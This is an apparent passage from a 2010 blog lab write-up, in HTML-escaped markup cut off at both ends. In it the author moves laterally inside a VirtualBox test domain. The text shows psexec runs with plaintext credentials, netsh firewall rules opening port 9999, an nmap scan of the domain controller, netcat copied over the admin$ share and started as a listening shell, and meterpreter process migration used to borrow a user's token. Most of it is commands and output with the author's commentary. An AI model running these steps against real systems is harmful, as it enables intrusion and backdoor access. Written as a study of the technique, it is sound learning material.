localport=9999 protocol=tcp"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 netsh "advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The following command was not found: "advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;netsh exited on WKS-XP1 with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 "netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 "netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The system cannot find the file specified.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Starting netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;copy c:\bin\nc.exe .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;copy c:\bin\nc.exe .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;        1 file(s) copied.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;dir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dir&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt; Volume in drive C has no label.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt; Volume Serial Number is F476-9322&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt; Directory of C:\Program files\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  11:05 PM    dir          .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  11:05 PM    dir          ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:41 PM             7,005 Eula.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;12/29/2004  02:07 PM            61,440 nc.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:41 PM           143,360 psexec.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:41 PM            64,072 Pstools.chm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:42 PM               960 Pstools_README.TXT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;               5 File(s)        276,837 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;               2 Dir(s)   8,279,678,976 bytes free&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* Here I copied netcat into the current directory, just to make it easier to work with. I then ran an nmap scan on srv-dc to see what ports were available. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;cd ..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd ..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files&gt;cd nmap&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd nmap&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\nmap&gt;nmap -sS -F -n -v 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;nmap -sS -F -n -v 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Starting Nmap 5.21 ( http://nmap.org ) at 2010-04-13 23:08 Central Standard Time&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Initiating ARP Ping Scan at 23:08&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Scanning 192.168.2.1 [1 port]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Completed ARP Ping Scan at 23:08, 0.85s elapsed (1 total hosts)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Initiating SYN Stealth Scan at 23:08&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Scanning 192.168.2.1 [100 ports]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 53/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 135/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 445/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 49157/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 49155/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 389/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 49154/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 88/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Discovered open port 5357/tcp on 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Completed SYN Stealth Scan at 23:08, 2.68s elapsed (100 total ports)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Nmap scan report for 192.168.2.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Host is up (0.027s latency).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Not shown: 91 filtered ports&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PORT      STATE SERVICE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;53/tcp    open  domain&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;88/tcp    open  kerberos-sec&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;135/tcp   open  msrpc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;389/tcp   open  ldap&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;445/tcp   open  microsoft-ds&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;5357/tcp  open  unknown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;49154/tcp open  unknown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;49155/tcp open  unknown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;49157/tcp open  unknown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;MAC Address: 08:00:27:33:48:CD (Cadmus Computer Systems)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Read data files from: C:\Program Files\nmap&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Nmap done: 1 IP address (1 host up) scanned in 4.21 seconds&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;           Raw packets sent: 193 (8490B) | Rcvd: 11 (482B)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\nmap&gt;cd ..\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd ..\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* In the following few lines, I was trying to copy nc.exe over to srv-dc and execute it. I guess I don't grasp the concept of how psexec uses the -c argument */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 -c nc.exe -n -t -L -s 192.168.2.1 -p 5357&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 -c nc.exe -n -t -L -s 192.168.2.1 -p 5357&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Can't grab 192.168.2.1:5357 with bind&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;nc.exe exited on WKS-XP1 with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 -c nc.exe -n -t -L -s 192.168.2.1 -p 49157&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 -c nc.exe -n -t -L -s 192.168.2.1 -p 49157&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Can't grab 192.168.2.1:49157 with bind&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;nc.exe exited on WKS-XP1 with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 nc.exe -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 nc.exe -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The system cannot find the file specified.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start nc.exe on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* Here I decided to just try and do a direct copy. When that failed I tried to map the Admin$ share. That also failed, I think because I was using an impersonation token rather than actually running in a process owned by usr1. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;copy nc.exe \\svr-DC\admin$&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;copy nc.exe \\svr-DC\admin$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The network path was not found.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;        0 file(s) copied.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;net use z: \\svr-DC\admin$&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;net use z: \\svr-DC\admin$&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;The server is not configured for remote administration.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;More help is available by typing NET HELPMSG 3743.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;meterpreter &gt; ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process list&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;============&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; PID   Name              Arch  Session  User                 Path&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; ---   ----              ----  -------  ----                 ----&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 0     [System Process]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 4     System            x86   0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 400   smss.exe          x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 612   csrss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 636   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 688   services.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 700   lsass.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 860   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\VBoxService.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 876   svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 960   svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1056  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1116  svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1216  svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1416  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1740  tlntsvr.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\tlntsvr.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 348   explorer.exe      x86   0        TEST\usr1            C:\WINDOWS\Explorer.EXE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 480   alg.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 572   VBoxTray.exe      x86   0        TEST\usr1            C:\WINDOWS\system32\VBoxTray.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1780  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1560  svchost.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 1976  svhost77.exe      x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\svhost77.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; migrate 348&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Migrating to 348...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Migration completed successfully.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 344 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 1 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\usr1.TEST&gt;net use * \\192.168.2.1\admin$&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;net use * \\192.168.2.1\admin$&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Drive Z: is now connected to \\192.168.2.1\admin$.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The command completed successfully.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* It worked after migrating into a process owned by usr1 */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Documents and Settings\usr1.TEST&gt;cd c:\progra~1\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd c:\progra~1\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;copy nc.exe z:\&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;copy nc.exe z:\&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;        1 file(s) copied.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 nc.exe -n -t -L -s 192.168.2.1 -p 49157&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 nc.exe -n -t -L -s 192.168.2.1 -p 49157&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The system cannot find the file specified.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start nc.exe on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* huh? */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;dir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dir&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt; Volume in drive C has no label.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt; Volume Serial Number is F476-9322&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt; Directory of C:\PROGRA~1\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  11:05 PM    dir          .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  11:05 PM    dir          ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:41 PM             7,005 Eula.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;12/29/2004  02:07 PM            61,440 nc.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:41 PM           143,360 psexec.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:41 PM            64,072 Pstools.chm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;04/13/2010  10:42 PM               960 Pstools_README.TXT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;               5 File(s)        276,837 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;               2 Dir(s)   8,279,658,496 bytes free&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 nc.exe -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 nc.exe -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The system cannot find the file specified.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start nc.exe on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 c:\windows\nc.exe -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 c:\windows\nc.exe -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The system cannot find the file specified.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start c:\windows\nc.exe on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 nc.exe -n -t -L -s 192.168.2.1 -p 49157&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 nc.exe -n -t -L -s 192.168.2.1 -p 49157&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Can't grab 192.168.2.1:49157 with bind&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;nc.exe exited on srv-DC with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;/* Was the AcceptEULA screwing things up? now it runs on srv-dc */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\PROGRA~1\ps&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 nc.exe -n -t -L -s 192.168.2.1 -p 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 nc.exe -n -t -L -s 192.168.2.1 -p 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;^C&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Terminate channel 1? [y/N]  n&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] Error running command shell: SignalException SIGUSR1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* In the preceding, netcat started running, but I had no way to interact with it. Ctrl C tends to end up killing the whole session rather than just the command shell channel. I discovered a way to avoid this on Matriux (Ubuntu): Press alt+F2 and it pops up krunner (I think that's what it's called) click the icon just left of the text box and you get a thing much like Process Explorer. Find metasploit under Konsole (running as ruby), right click it and send it the SIGUSR1 signal and it usually puts you back into the meterpreter session. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; rev2self&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process list&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;============&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; PID   Name              Arch  Session  User                 Path&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; ---   ----              ----  -------  ----                 ----&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 0     [System Process]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 4     System            x86   0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 400   smss.exe          x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt; 612   csrss.exe         x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 